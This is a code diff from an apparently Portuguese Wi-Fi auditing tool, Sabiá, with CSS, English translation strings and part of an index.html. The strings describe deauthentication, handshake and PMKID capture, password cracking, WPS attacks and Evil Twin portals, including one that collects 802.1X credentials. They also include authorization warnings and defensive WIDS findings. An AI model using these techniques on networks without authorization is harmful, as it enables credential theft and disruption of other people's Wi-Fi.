.timeline li { display: grid; grid-template-columns: 84px 112px 1fr; align-items: baseline; gap: 8px; font-size: 12px; border-bottom: 1px solid var(--line); padding: 5px 2px; }
.timeline li > .mono:first-child { white-space: nowrap; }
.tl-kind { font-size: 10.5px; font-weight: 700; text-transform: uppercase; letter-spacing: .03em; color: var(--text-3); }
.tl-deauth { color: var(--bad); }
.tl-associate { color: var(--ok); }
.tl-probe { color: var(--signal); }
.tl-detail { color: var(--text-3); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
/* ------------------------------------------------------------- WPS e relatório */
.term { margin: 10px 0 0; padding: 10px 12px; border-radius: 10px; background: color-mix(in srgb, var(--text) 6%, transparent); color: var(--text-2); font: 11.5px/1.5 var(--mono); white-space: pre-wrap; max-height: 180px; overflow: auto; }
.report-dlg { width: min(1060px, 96vw); height: 92vh; max-height: 92vh; padding: 0; display: flex; flex-direction: column; overflow: hidden; }
.report-dlg:not([open]) { display: none; }
.report-head { display: flex; align-items: flex-start; justify-content: space-between; gap: 14px; padding: 16px 18px 12px; border-bottom: 1px solid var(--line); flex-wrap: wrap; }
.report-head h2 { font-size: 17px; margin: 0 0 2px; }
.report-tools { display: flex; align-items: center; gap: 6px; flex-wrap: wrap; }
.report-tools .mono { font-size: 11.5px; color: var(--text-2); min-width: 38px; text-align: center; }
.report-view { flex: 1; overflow: auto; background: color-mix(in srgb, var(--text) 8%, var(--bg)); padding: 16px; }
.report-canvas { margin: 0 auto; transform-origin: top center; background: #fff; box-shadow: 0 6px 30px rgba(0, 0, 0, .18); }
.report-canvas iframe { border: 0; display: block; background: #fff; }
@media (max-width: 760px) {
.top-actions { gap: 6px; }
.channel-grid { grid-template-columns: 1fr; }
.chan-row { grid-template-columns: 42px 1fr 44px; }
.chan-aps { grid-column: 2 / -1; }
.report-dlg { width: 100vw; height: 100vh; max-height: 100vh; border-radius: 0; }
.report-view { padding: 8px; }
}
+2217 -48
View File
File diff suppressed because it is too large. Load diff
+468 -1
View File
@@ -2,8 +2,12 @@
export const EN = {
// index.html / sidebar
'auditoria de Wi-Fi': 'Wi-Fi auditing',
'Interface': 'Interface',
'Interface Wi-Fi': 'Wi-Fi interface',
'Interfaces': 'Interfaces',
'nenhuma interface Wi-Fi encontrada': 'no Wi-Fi interface found',
'APs, clientes e ataques': 'APs, clients and attacks',
'espectro e saúde': 'spectrum and health',
'checar atualização': 'check for update',
'checando…': 'checking…',
'atualizar para {n}': 'update to {n}',
@@ -30,7 +34,12 @@ export const EN = {
'parar captura': 'stop capture',
// resultados
'Redes': 'Networks',
'Redes vistas': 'Networks seen',
'Linha do tempo': 'Timeline',
'Linha do tempo ·': 'Timeline ·',
'fechar': 'close',
'motivo {n}': 'reason {n}',
'Pronto pra capturar': 'Ready to capture',
'Ative o modo monitor e inicie a captura pra ver as redes no ar.': 'Enable monitor mode and start capturing to see the networks on the air.',
'Nenhuma interface Wi-Fi': 'No Wi-Fi interface',
@@ -41,16 +50,44 @@ export const EN = {
'oculta': 'hidden',
'Rede': 'Network',
'Canal': 'Channel',
'Canais': 'Channels',
'Banda': 'Band',
'Bandas': 'Bands',
'Nome': 'Name',
'Sinal': 'Signal',
'Segurança': 'Security',
'Clientes': 'Clients',
'filtrar por SSID ou BSSID': 'filter by SSID or BSSID',
'Filtrar redes': 'Filter networks',
'Ordenar por': 'Sort by',
'expandir': 'expand',
'recolher': 'collapse',
'PMF parcial': 'partial PMF',
'canal {n}': 'channel {n}',
'canal {n} · {n}': 'channel {n} · {n}',
'1 cliente': '1 client',
'{n} clientes': '{n} clients',
'{n} de {n} redes': '{n} of {n} networks',
'{n} redes · {n} BSSIDs · {n} clientes': '{n} networks · {n} BSSIDs · {n} clients',
'Nenhuma rede corresponde ao filtro': 'No network matches the filter',
'Ajuste a busca ou limpe o campo de filtro.': 'Adjust the search or clear the filter.',
// erros de UI
'Não foi possível trocar o modo:': 'Could not change the mode:',
'Não foi possível iniciar a captura:': 'Could not start the capture:',
'Não foi possível retomar a captura: {n}': 'Could not resume the capture: {n}',
'Retomando a captura e localizando a rede…': 'Resuming the capture and locating the network…',
'A rede não reapareceu na varredura a tempo. Tente de novo.': 'The network did not reappear in the scan in time. Try again.',
'A captura parou:': 'The capture stopped:',
'erro desconhecido': 'unknown error',
'rota desconhecida': 'unknown route',
// seletor de idioma
// seletor de idioma / configurações
'Configurações': 'Settings',
'Tema': 'Theme',
'Claro': 'Light',
'Escuro': 'Dark',
'Fechar': 'Close',
'Idioma': 'Language',
'Auto': 'Auto',
'Português': 'Portuguese',
@@ -95,4 +132,434 @@ export const EN = {
'nenhum handshake quebrável para os filtros informados': 'no crackable handshake for the given filters',
'quantidade de quadros deve ficar entre 1 e 256': 'frame count must be between 1 and 256',
'MAC inválido: {n}': 'invalid MAC: {n}',
// detalhes do alvo e ataques
'não': 'no',
'não anunciado': 'not advertised',
'quebrável': 'crackable',
'Nenhum handshake capturado para este BSSID.': 'No handshake captured for this BSSID.',
'Rede aberta.': 'Open network.',
'O tráfego não é cifrado pelo Wi-Fi; qualquer cliente pode se associar.': 'Traffic is not encrypted over Wi-Fi; any client can associate.',
'A cifra é quebrável; capture IVs na aba Ataques.': 'The cipher is breakable; capture IVs in the Attacks tab.',
'O AP anuncia configuração travada.': 'The AP advertises configuration locked.',
'PIN pode estar acessível; verifique o lock.': 'The PIN may be accessible; check the lock.',
'Desautenticação e captura de handshake podem ser ignoradas pelos clientes.': 'Deauthentication and handshake capture may be ignored by clients.',
'Sem PMF obrigatório.': 'No mandatory PMF.',
'Desautenticação tende a funcionar e facilita a captura do handshake.': 'Deauthentication tends to work and makes handshake capture easier.',
'País': 'Country',
'Último visto': 'Last seen',
'Primeiro visto': 'First seen',
'Frequência': 'Frequency',
'Largura': 'Width',
'Padrão': 'Standard',
'Sinal máximo': 'Max signal',
'Intervalo de beacon': 'Beacon interval',
'Quadros de dados': 'Data frames',
'Versão WPS': 'WPS version',
'Vistos na rede': 'Seen on network',
'Quebráveis': 'Crackable',
'Número do modelo': 'Model number',
'Nome do dispositivo': 'Device name',
'Serial': 'Serial',
'Identificação': 'Identity',
'Rádio': 'Radio',
'sim': 'yes',
'Nome exibido': 'Display name',
'Hostname': 'Hostname',
'Sistema': 'OS',
'IP': 'IP',
'Associado a': 'Associated to',
'Atual': 'Current',
'Máximo': 'Maximum',
'Sem amostras de sinal suficientes ainda.': 'Not enough signal samples yet.',
'Linha do tempo · eventos mais recentes primeiro.': 'Timeline · most recent events first.',
'Cliente · {n}': 'Client · {n}',
'A captura parou sozinha:': 'The capture stopped on its own:',
'A placa não está capturando nada': 'The adapter is not capturing anything',
'Nenhum quadro recebido depois de alguns segundos saltando canais — esta placa pode aceitar ativar o modo monitor sem conseguir capturar de verdade (comum em Wi-Fi interna de notebook). Tente um adaptador USB dedicado a modo monitor/injeção.':
'No frame received after several seconds of channel hopping — this adapter may accept turning monitor mode on without actually being able to capture (common with a laptop\'s built-in Wi-Fi). Try a USB adapter dedicated to monitor mode/injection.',
'motivo desconhecido — confira se o adaptador ainda está conectado.':
'unknown reason — check whether the adapter is still connected.',
'Clientes e handshake': 'Clients and handshake',
'Nenhum cliente visto.': 'No client seen.',
'Associe ou gere tráfego na rede para que o Sabiá identifique estações.': 'Associate or generate traffic on the network so Sabiá can identify stations.',
'senha encontrada': 'password found',
'concluído': 'done',
'quebrando': 'cracking',
'senhas testadas': 'passwords tried',
'{n} senhas testadas': '{n} passwords tried',
'{n} tentativas · {n} ms': '{n} attempts · {n} ms',
'Senha não encontrada no dicionário ({n} tentativas).': 'Password not found in the wordlist ({n} attempts).',
'· quebrável': '· crackable',
'não especificado': 'unspecified',
'autenticação expirada': 'authentication expired',
'saindo': 'leaving',
'inativo': 'inactive',
'AP sem recursos': 'AP out of resources',
'classe 2': 'class 2',
'classe 3': 'class 3',
'{n} handshake(s) visto(s); {n} quebrável(is).': '{n} handshake(s) seen; {n} crackable.',
'Nenhum handshake capturado ainda. Desautentique um cliente para estimular a reassociação.': 'No handshake captured yet. Deauthenticate a client to trigger reassociation.',
'Captura WEP': 'WEP capture',
'WEP não tem handshake: o ataque coleta IVs em um .pcap. Reinicie a captura gravando o arquivo e gere tráfego com desautenticação. A captura atual é reiniciada e a tabela começa vazia.': 'WEP has no handshake: the attack collects IVs into a .pcap. Restart the capture writing the file and generate traffic with deauthentication. The current capture is restarted and the table starts empty.',
'Arquivo pcap': 'pcap file',
'Reiniciar captura com pcap': 'Restart capture to pcap',
'Gerar tráfego': 'Generate traffic',
'Copiar comando': 'Copy command',
'Esta rede não usa WEP.': 'This network does not use WEP.',
'Somente em redes próprias ou com autorização escrita.': 'Only on your own networks or with written authorization.',
'Cada ação fica registrada na trilha de auditoria local, com interface, BSSID e estação.': 'Every action is logged in the local audit trail with interface, BSSID and station.',
'Tenho autorização para testar esta rede': 'I have authorization to test this network',
'Desautenticação': 'Deauthentication',
'Expulsa uma estação (ou todas) para forçar reassociação e captura de handshake.': 'Kicks a station (or all) to force reassociation and handshake capture.',
'Enviar desautenticação': 'Send deauthentication',
'Forçar handshake': 'Force handshake',
'Dicionário': 'Wordlist',
'Rede oculta': 'Hidden network',
'job não encontrado': 'job not found',
'{n} quadro(s) enviados para {n} (motivo {n}).': '{n} frame(s) sent to {n} (reason {n}).',
'Selecione um handshake.': 'Select a handshake.',
'Informe o dicionário.': 'Enter the wordlist.',
'Informe o caminho do .pcap.': 'Enter the .pcap path.',
'Força bruta por máscara — sem dicionário, testa toda combinação do padrão.':
'Mask brute force — no wordlist, tests every combination of the pattern.',
'dígito,': 'digit,',
'minúscula,': 'lowercase,',
'maiúscula,': 'uppercase,',
'símbolo,': 'symbol,',
'qualquer um; o resto é literal.': 'any of those; the rest is literal.',
'Máscara': 'Mask',
'Força bruta por máscara': 'Mask brute force',
'Informe uma máscara (ex.: ?d?d?d?d?d?d?d?d).': 'Enter a mask (e.g. ?d?d?d?d?d?d?d?d).',
'job não iniciado': 'job not started',
'Captura gravando em {n}. Gere tráfego e aguarde IVs suficientes.': 'Capture writing to {n}. Generate traffic and wait for enough IVs.',
'Visão geral': 'Overview',
'Ver detalhes': 'View details',
'Ver clientes': 'View clients',
'Abrir ataques': 'Open attacks',
'Todos (broadcast)': 'All (broadcast)',
'associado': 'associated',
'sondando': 'probing',
'visto': 'seen',
'Alvo': 'Target',
'Handshake': 'Handshake',
'Salvar pcap em': 'Save pcap to',
'Exportar selecionado': 'Export selected',
'Exportar todos': 'Export all',
'Quebrar senha': 'Crack password',
'completo': 'complete',
'Ataques': 'Attacks',
'Cliente alvo': 'Target client',
'Ações': 'Actions',
'Atacar': 'Attack',
'Cliente não associado a este AP.': 'Client not associated with this AP.',
'Somente o cliente selecionado será desautenticado.': 'Only the selected client will be deauthenticated.',
'Todos os clientes associados (broadcast).': 'All associated clients (broadcast).',
'Fabricante': 'Manufacturer',
'Modelo': 'Model',
'Oculta': 'Hidden',
'Modo': 'Mode',
'Cifra': 'Cipher',
'Privacidade': 'Privacy',
'WPS travado': 'WPS locked',
'Associados': 'Associated',
'Senha': 'Password',
'Quadro': 'Frame',
'Quadros': 'Frames',
'ambas': 'both',
'Tentativas': 'Attempts',
'Testar PMF': 'Test PMF',
'em execução': 'running',
'iniciando': 'starting',
'erro': 'error',
'parado': 'stopped',
'Status: {n}': 'Status: {n}',
'tamanho inválido': 'invalid length',
'· última: {n}': '· last: {n}',
'Clona o AP (aberto) numa segunda interface e sobe um portal pedindo a senha de novo. A senha só é aceita se bater de verdade com o handshake já capturado — não é um "aceita qualquer coisa".':
'Clones the AP (open) on a second interface and shows a portal asking for the password again. The password is only accepted if it truly matches the already-captured handshake — it is not an "accept anything" page.',
'Exige um handshake quebrável já capturado deste AP (aba Handshake). Precisa de':
'Requires a crackable handshake already captured for this AP (Handshake tab). Needs',
'instalado e de uma': 'installed and a',
'interface Wi-Fi em modo AP, diferente da que está capturando.':
'Wi-Fi interface in AP mode, different from the one capturing.',
'Iniciar Evil Twin': 'Start Evil Twin',
'Informe a interface do clone (uma segunda placa).':
'Enter the clone interface (a second adapter).',
'a interface do clone precisa ser diferente da que está capturando':
'the clone interface must be different from the one capturing',
'esse BSSID ainda não apareceu nesta sessão de captura':
'that BSSID has not appeared in this capture session yet',
'rede oculta: sem SSID não dá pra clonar': 'hidden network: no SSID, cannot clone',
'handshake sem dados suficientes pra conferir senha':
'handshake does not have enough data to verify a password',
'hostapd não está instalado (sudo apt install hostapd) — necessário pro Evil Twin':
'hostapd is not installed (sudo apt install hostapd) — needed for Evil Twin',
'{n} · {n} credencial(is) capturada(s){n}': '{n} · {n} credential(s) captured{n}',
'Clona o AP numa segunda interface e deixa o hostapd-wpe aceitar a autenticação EAP de qualquer cliente. A credencial sai sozinha, como parte do próprio 802.1X — sem portal, sem ação humana.':
'Clones the AP on a second interface and lets hostapd-wpe accept the EAP authentication from any client. The credential comes out on its own, as part of 802.1X itself — no portal, no human action.',
'Rede Enterprise detectada (AKM 802.1X) — aqui a credencial é enviada automaticamente pelo cliente durante o handshake EAP, não precisa de portal. Exige':
'Enterprise network detected (AKM 802.1X) — here the credential is sent automatically by the client during the EAP handshake, no portal needed. Requires',
'instalado (não vem com o Sabiá: é um patch no build do hostapd —':
'installed (not bundled with Sabiá: it is a patch on the hostapd build —',
') e uma': ') and a',
'interface Wi-Fi em modo AP.': 'Wi-Fi interface in AP mode.',
'Iniciar Evil Twin Enterprise': 'Start Enterprise Evil Twin',
'Limitação honesta: o certificado TLS do clone é autoassinado. Dispositivo que valida a cadeia de certificado da rede (comum em perfil corporativo/MDM atualizado) vai recusar ou avisar o usuário — essa é a defesa que deveria existir. Funciona contra configuração sem essa validação.':
'Honest limitation: the clone\'s TLS certificate is self-signed. A device that validates the network\'s certificate chain (common on an updated corporate/MDM profile) will refuse or warn the user — that is the defense that is supposed to exist. It works against configurations without that validation.',
'essa rede não é WPA2/WPA3-Enterprise (802.1X) — pra rede com senha única (PSK), use o Evil Twin com portal cativo':
'this network is not WPA2/WPA3-Enterprise (802.1X) — for a single-password (PSK) network, use the Evil Twin with captive portal',
'hostapd-wpe não está instalado — não vem com o Sabiá (é um patch sobre o build do hostapd, não um binário pequeno); instale pelo repositório do Kali ou compile https://github.com/aircrack-ng/hostapd-wpe':
'hostapd-wpe is not installed — not bundled with Sabiá (it is a patch on the hostapd build, not a small binary); install it from the Kali repository or build https://github.com/aircrack-ng/hostapd-wpe',
'{n} está num modo que o hostapd-wpe não consegue usar':
'{n} is in a mode hostapd-wpe cannot use',
'não foi possível gerar o certificado TLS (openssl) pro hostapd-wpe':
'could not generate the TLS certificate (openssl) for hostapd-wpe',
'hostapd-wpe saiu sozinho ({n}) logo ao subir em {n} — a placa pode não suportar de verdade o canal/banda do AP real. Saída: {n}':
'hostapd-wpe exited on its own ({n}) right after starting on {n} — the adapter may not actually support the real AP\'s channel/band. Output: {n}',
'job de Evil Twin Enterprise não encontrado': 'Enterprise Evil Twin job not found',
'job de Evil Twin não encontrado': 'Evil Twin job not found',
'hostapd saiu sozinho ({n}) logo ao subir em {n} — a placa pode não suportar de verdade o canal/banda do AP real. Saída: {n}':
'hostapd exited on its own ({n}) right after starting on {n} — the adapter may not actually support the real AP\'s channel/band. Output: {n}',
'{n} está num modo que o hostapd não consegue usar': '{n} is in a mode hostapd cannot use',
'{n} handshake(s), {n} quadro(s) em {n}': '{n} handshake(s), {n} frame(s) in {n}',
'Motivo': 'Reason',
'Pacotes': 'Packets',
'Estado': 'State',
'Probes': 'Probes',
'Cliente': 'Client',
'WPS ativo': 'WPS active',
'WPS ativo.': 'WPS active.',
'WPS ativo ({n}).': 'WPS active ({n}).',
'PMF exigido.': 'PMF required.',
'Depois de coletar IVs suficientes:': 'After collecting enough IVs:',
'mensagens {n}': 'messages {n}',
'{n} · mensagens {n}': '{n} · messages {n}',
'senha: {n}': 'password: {n}',
'{n} · quebrável': '{n} · crackable',
'{n} · canal {n}': '{n} · channel {n}',
'{n} ({n})': '{n} ({n})',
// canais, PMKID/PMF, WPS e relatório
'Ocupação dos canais em {n}': 'Channel occupancy on {n}',
'Sem dados de canal ainda': 'No channel data yet',
'Inicie a captura para o Sabiá medir ocupação e sugerir canais.':
'Start capturing so Sabiá can measure occupancy and suggest channels.',
'{n} APs · {n} canais ocupados': '{n} APs · {n} busy channels',
'{n} AP(s) · recomendado': '{n} AP(s) · recommended',
'· recomendado': '· recommended',
'aberta/WEP': 'open/WEP',
'{n} rede(s) WPA3 analisada(s) — detalhes na aba do alvo e no relatório.':
'{n} WPA3 network(s) analyzed — details in the target tab and report.',
'Restrito a 1, 6 e 11 para evitar sobreposição.':
'Limited to 1, 6 and 11 to avoid overlap.',
'Menor pontuação de interferência entre os canais observados.':
'Lowest interference score among observed channels.',
'Melhor canal': 'Best channel',
'Espectro e canais': 'Spectrum and channels',
// saúde do espectro (canais, estilo SMART)
'Boa': 'Good',
'Atenção': 'Attention',
'Saturado': 'Saturated',
'Boa condição': 'Good condition',
'Sem canal livre nessa banda': 'No free channel on this band',
'Até o melhor canal está saturado': 'Even the best channel is saturated',
'Recomendado é DFS — pode cair com radar por perto': 'The recommended channel is DFS — it can drop off if radar is detected nearby',
'Espectro congestionado': 'Congested spectrum',
'Canal recomendado': 'Recommended channel',
'Canais ocupados': 'Busy channels',
'APs na banda': 'APs on this band',
'Pior canal': 'Worst channel',
'Canais DFS': 'DFS channels',
'Nessa banda, prefira sempre 1, 6 ou 11 — canais no meio sobrepõem vizinhos.':
'On this band, always prefer 1, 6 or 11 — channels in between overlap neighbors.',
'Canais DFS liberam mais espaço, mas o rádio é obrigado a sair do ar se detectar radar — tenha um canal não-DFS de reserva.':
'DFS channels free up more room, but the radio must go off the air if it detects radar — keep a non-DFS channel as backup.',
'Considere mudar o AP para o canal recomendado ou mover pra outra banda.':
'Consider moving the AP to the recommended channel or to another band.',
'Canais detalhados ({n})': 'Detailed channels ({n})',
'Pontuação': 'Score',
'APs': 'APs',
'{n} AP(s)': '{n} AP(s)',
'Recomendado': 'Recommended',
'Ainda sem eventos além do primeiro avistamento.':
'No events beyond the first sighting yet.',
'{n} amostra(s) de sinal. Eventos mais recentes primeiro.':
'{n} signal sample(s). Most recent events first.',
'nenhuma ferramenta instalada': 'no tool installed',
'Senha encontrada: {n}{n}': 'Password found: {n}{n}',
'Sem PIN, o reaver usa Pixie Dust; o bully usa o ataque padrão.':
'Without a PIN, reaver uses Pixie Dust; bully uses its default attack.',
'Instale reaver ou bully para habilitar. Ex.: sudo apt install reaver bully':
'Install reaver or bully to enable. E.g.: sudo apt install reaver bully',
'A saída do reaver/bully aparece aqui.': 'reaver/bully output appears here.',
'Orquestra reaver/bully na interface monitor. O canal do AP é usado automaticamente; o processo pode ser interrompido a qualquer momento.':
'Orchestrates reaver/bully on the monitor interface. The AP channel is used automatically; the process can be stopped at any time.',
'Ferramenta': 'Tool',
'PIN conhecido (opcional)': 'Known PIN (optional)',
'Exportar .hc22000': 'Export .hc22000',
'Todos .hc22000': 'Export all .hc22000',
'Iniciar WPS': 'Start WPS',
'Parar job': 'Stop job',
'8 dígitos': '8 digits',
'nenhum cliente visto': 'no client seen',
'Direção': 'Direction',
'AP → cliente': 'AP → client',
'cliente → AP': 'client → AP',
'Dispara deauth nas duas direções e observa se a estação reassocia. Resultado prático, não prova criptográfica.':
'Sends deauth in both directions and watches whether the station reassociates. Practical result, not cryptographic proof.',
'Estação': 'Station',
'Forja um MAC local e envia association request com PMKID para tentar a mensagem 1. Muitos APs só expõem PMKID em roaming real.':
'Forge a local MAC and send an association request with PMKID to try for message 1. Many APs only expose PMKID during real roaming.',
'Caçar PMKID': 'Hunt PMKID',
'Do cliente para o AP (exige estação selecionada).':
'From client to AP (requires a selected station).',
'Nas duas direções (exige estação selecionada).':
'In both directions (requires a selected station).',
'{n} quadro(s) {n} em {n} para {n} (motivo {n}).':
'{n} {n} frame(s) in {n} to {n} (reason {n}).',
'Aguardando saída do reaver/bully…': 'Waiting for reaver/bully output…',
'Enviando associação com PMKID…': 'Sending association with PMKID…',
'{n} quadro(s) enviados; PMKID não apareceu. {n}':
'{n} frame(s) sent; PMKID did not appear. {n}',
'Nenhuma estação disponível.': 'No station available.',
'Testando por ~4 s…': 'Testing for ~4 s…',
'PMKID capturado: {n}': 'PMKID captured: {n}',
'PMF não obrigatório': 'PMF not required',
'PMF não obrigatório · {n}': 'PMF not required · {n}',
'Inconclusivo · {n}': 'Inconclusive · {n}',
'Instale reaver ou bully.': 'Install reaver or bully.',
'Canal do AP desconhecido.': 'Unknown AP channel.',
'Montando o relatório…': 'Building the report…',
'não foi possível gerar o relatório': 'could not generate the report',
'Pré-visualização A4 · {n} página(s).': 'A4 preview · {n} page(s).',
'Pré-visualização A4.': 'A4 preview.',
'Paginando o relatório…': 'Paginating the report…',
'Não foi possível abrir a impressão; baixe o HTML e abra no navegador.':
'Could not open printing; download the HTML and open it in the browser.',
'não foi possível gerar o HTML': 'could not generate the HTML',
'Relatório': 'Report',
'Relatório de auditoria': 'Audit report',
'Imprimir / PDF': 'Print / PDF',
'Baixar HTML': 'Download HTML',
'Pré-visualização paginada em A4.': 'Paginated A4 preview.',
'Visualização': 'View',
'Relatório paginado': 'Paginated report',
'handshake sem SSID, PMKID ou mensagem 2 para exportar':
'handshake without SSID, PMKID or message 2 to export',
'nenhum handshake com material para .hc22000':
'no handshake with material for .hc22000',
'direção inválida: use ap, sta ou both': 'invalid direction: use ap, sta or both',
'máscara grande demais pra calcular o total': 'mask too large to calculate the total',
'máscara tem {n} combinações, acima do limite de {n} — restrinja a máscara (ex.: menos posições ?a/?l) antes de rodar':
'mask has {n} combinations, above the limit of {n} — narrow the mask (e.g. fewer ?a/?l positions) before running',
'quadro inválido: use deauth ou disassoc': 'invalid frame: use deauth or disassoc',
'direção sta/both exige a estação alvo': 'sta/both direction requires the target station',
'inicie a captura nesta interface antes do teste PMKID':
'start capturing on this interface before the PMKID test',
'BSSID ainda não visto nesta captura': 'BSSID not seen in this capture yet',
'SSID oculto: impossível montar o association request':
'hidden SSID: cannot build the association request',
'PMKID observado; exporte em .hc22000 e quebre com hashcat ou pelo Sabiá.':
'PMKID observed; export to .hc22000 and crack with hashcat or Sabiá.',
'Nenhum PMKID apareceu. O AP pode não usar cache de PMKID ou só responder a roaming real; tente também desautenticar um cliente associado.':
'No PMKID appeared. The AP may not cache PMKID or may only answer real roaming; also try deauthenticating an associated client.',
'PIN WPS deve ter 8 dígitos': 'WPS PIN must have 8 digits',
'a ferramenta terminou sem informar PSK': 'the tool finished without reporting a PSK',
'job WPS não encontrado': 'WPS job not found',
'Auditoria Wi-Fi · {n}': 'Wi-Fi audit · {n}',
'{n} está em modo managed; ative o modo monitor antes do teste PMKID':
'{n} is in managed mode; enable monitor mode before the PMKID test',
'{n} não encontrado no PATH; instale reaver ou bully':
'{n} not found in PATH; install reaver or bully',
'{n} está em modo managed; ative o modo monitor antes do ataque WPS':
'{n} is in managed mode; enable monitor mode before the WPS attack',
'não foi possível executar {n}: {n}': 'could not run {n}: {n}',
'{n} terminou com código {n}': '{n} exited with code {n}',
// achados do WIDS (analysis.rs)
'SSID “{n}” com seguranças diferentes': 'SSID “{n}” with different security levels',
'O mesmo nome aparece em BSSIDs com níveis de segurança distintos: {n}. Pode ser um evil twin ou um AP mal configurado.':
'The same name appears on BSSIDs with different security levels: {n}. It may be an evil twin or a misconfigured AP.',
'Rajada de desautenticação': 'Deauthentication burst',
'{n} quadros de desautenticação/desassociação no último minuto. Pode ser ataque de desautenticação ou um AP instável.':
'{n} deauthentication/disassociation frames in the last minute. It may be a deauth attack or an unstable AP.',
'Muitos BSSIDs novos': 'Many new BSSIDs',
'{n} BSSIDs apareceram no último minuto — possível beacon flood ou ambiente muito denso.':
'{n} BSSIDs appeared in the last minute — possible beacon flood or a very dense environment.',
'Rede aberta: {n}': 'Open network: {n}',
'Sem cifra no Wi-Fi; o tráfego fica exposto a qualquer estação no alcance.':
'No Wi-Fi encryption; traffic is exposed to any station in range.',
'WEP em {n}': 'WEP on {n}',
'WEP é quebrável em minutos; trate a rede como aberta.':
'WEP can be cracked in minutes; treat the network as open.',
'WPA1 (TKIP) em {n}': 'WPA1 (TKIP) on {n}',
'WPA1/TKIP tem fraquezas conhecidas; migre para WPA2/CCMP ou WPA3.':
'WPA1/TKIP has known weaknesses; migrate to WPA2/CCMP or WPA3.',
'WPS ativo em {n}': 'WPS active on {n}',
'O AP anuncia WPS com configuração travada.': 'The AP advertises WPS with configuration locked.',
'WPS sem lock explícito; PIN pode ser testado com reaver/bully.':
'WPS without an explicit lock; the PIN can be tested with reaver/bully.',
'Sem PMF em {n}': 'No PMF on {n}',
'Desautenticação e desassociação não são protegidas; clientes podem ser expulsos para facilitar a captura de handshake.':
'Deauthentication and disassociation are unprotected; clients can be expelled to make handshake capture easier.',
'PMF inconsistente em {n}': 'Inconsistent PMF on {n}',
'O AP anuncia WPA3, mas não anuncia PMF; verifique a configuração.':
'The AP advertises WPA3 but not PMF; check the configuration.',
'WPA3 com WPS em {n}': 'WPA3 with WPS on {n}',
'WPS não faz parte do WPA3 e abre uma via mais fraca de associação.':
'WPS is not part of WPA3 and opens a weaker association path.',
'primeiro visto': 'first seen',
'associou': 'associated',
'desautenticado': 'deauthenticated',
'A estação voltou a se associar.': 'The station reassociated.',
'O AP pode não usar cache de PMKID.': 'The AP may not cache PMKID.',
'A estação voltou a se associar após a desautenticação: PMF não está obrigatório (ou o cliente não o usa).':
'The station reassociated after deauthentication: PMF is not required (or the client does not use it).',
'A estação continuou trocando quadros depois da desautenticação; o quadro de gerenciamento provavelmente foi aceito.':
'The station kept exchanging frames after deauthentication; the management frame was probably accepted.',
'A estação não voltou a associar na janela observada. PMF pode estar ativo, ou o cliente simplesmente ficou inativo.':
'The station did not reassociate in the observed window. PMF may be active, or the client simply stayed idle.',
'Inconclusivo': 'Inconclusive',
// deauth contínuo e identificação de clientes
'Mantém os quadros saindo em série até você parar (ou até sair o handshake). O canal da captura fica travado no AP durante o job.':
'Keeps frames going until you stop (or a handshake appears). The capture channel stays locked to the AP during the job.',
'Iniciar contínuo': 'Start continuous',
'Parar': 'Stop',
'Rajada ({n})': 'Burst ({n})',
'Pronto. O job contínuo trava a captura no canal do AP e para quando você mandar.':
'Ready. The continuous job locks capture to the AP channel and stops when you say so.',
'Job {n} · {n} quadro(s){n}{n}': 'Job {n} · {n} frame(s){n}{n}',
'Handshake capturado em {n} quadro(s){n}.': 'Handshake captured in {n} frame(s){n}.',
'Job {n} {n} · {n} quadro(s){n}.': 'Job {n} {n} · {n} frame(s){n}.',
'Escolha um cliente para desautenticar nas direções sta/both.':
'Choose a client to deauthenticate in the sta/both directions.',
'Forçando reassociação e handshake…': 'Forcing reassociation and handshake…',
'Desautenticação contínua iniciada.': 'Continuous deauthentication started.',
'Nenhuma ferramenta WPS disponível.': 'No WPS tool available.',
'O reaver embutido usa Pixie Dust sem PIN. O bully aparece se estiver instalado no sistema.':
'The bundled reaver uses Pixie Dust without a PIN. bully appears if it is installed on the system.',
'O reaver embutido não pôde ser extraído nesta execução.':
'The bundled reaver could not be extracted in this run.',
'Dicionário (vazio = embutido, 9,7 milhões de senhas)': 'Wordlist (empty = bundled, 9.7 million passwords)',
'dicionário próprio, opcional': 'custom wordlist, optional',
'Dispositivo': 'Device',
'MAC aleatório': 'Random MAC',
'Cliente {n}': 'Client {n}',
'Linha do tempo · {n}': 'Timeline · {n}',
'nenhuma ferramenta disponível': 'no tool available',
'· canal {n}': '· channel {n}',
'· para sozinho no handshake': '· stops on handshake',
'job de deauth não encontrado': 'deauth job not found',
'já existe um job de desautenticação em execução em {n}':
'a deauthentication job is already running on {n}',
'inicie a captura em {n} antes de iniciar o job':
'start capture on {n} before starting the job',
'a captura em {n} não está ativa': 'capture on {n} is not active',
'{n} não está disponível; o reaver integrado não pôde ser extraído':
'{n} is not available; the bundled reaver could not be extracted',
};
+100 -11
View File
@@ -4,32 +4,54 @@
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Sabiá</title>
<link rel="icon" href="/sabia.png">
<link rel="icon" href="/logo.png">
<link rel="stylesheet" href="/app.css">
</head>
<body>
<div class="app">
<aside class="sidebar">
<div class="brand">
<img class="logo" src="/sabia.png" alt="">
<img class="logo" src="/logo.png" alt="">
<div>
<strong>Sabiá</strong>
<small>auditoria de Wi-Fi</small>
</div>
</div>
<div class="side-title">Interfaces</div>
<ul class="list" id="ifaceList" data-empty="nenhuma interface Wi-Fi encontrada"></ul>
<div class="side-title">Interface</div>
<div class="iface-pick">
<select id="ifaceSelect" class="select" aria-label="Interface Wi-Fi" data-empty="nenhuma interface Wi-Fi encontrada"></select>
<span id="modePill" class="pill"><span class="dot"></span><span id="modeLabel">—</span></span>
</div>
<div class="side-title">Visualização</div>
<ul class="list" id="viewNav" role="group" aria-label="Visualização">
<li><button type="button" class="dev" data-view="nets" aria-pressed="true">
<span class="ico"><svg viewBox="0 0 24 24" width="17" height="17" fill="none" stroke="currentColor" stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12.55a11 11 0 0 1 14.08 0"/><path d="M1.42 9a16 16 0 0 1 21.16 0"/><path d="M8.53 16.11a6 6 0 0 1 6.95 0"/><circle cx="12" cy="20" r="1"/></svg></span>
<span><span class="t">Redes</span><span class="s">APs, clientes e ataques</span></span>
</button></li>
<li><button type="button" class="dev" data-view="channels" aria-pressed="false">
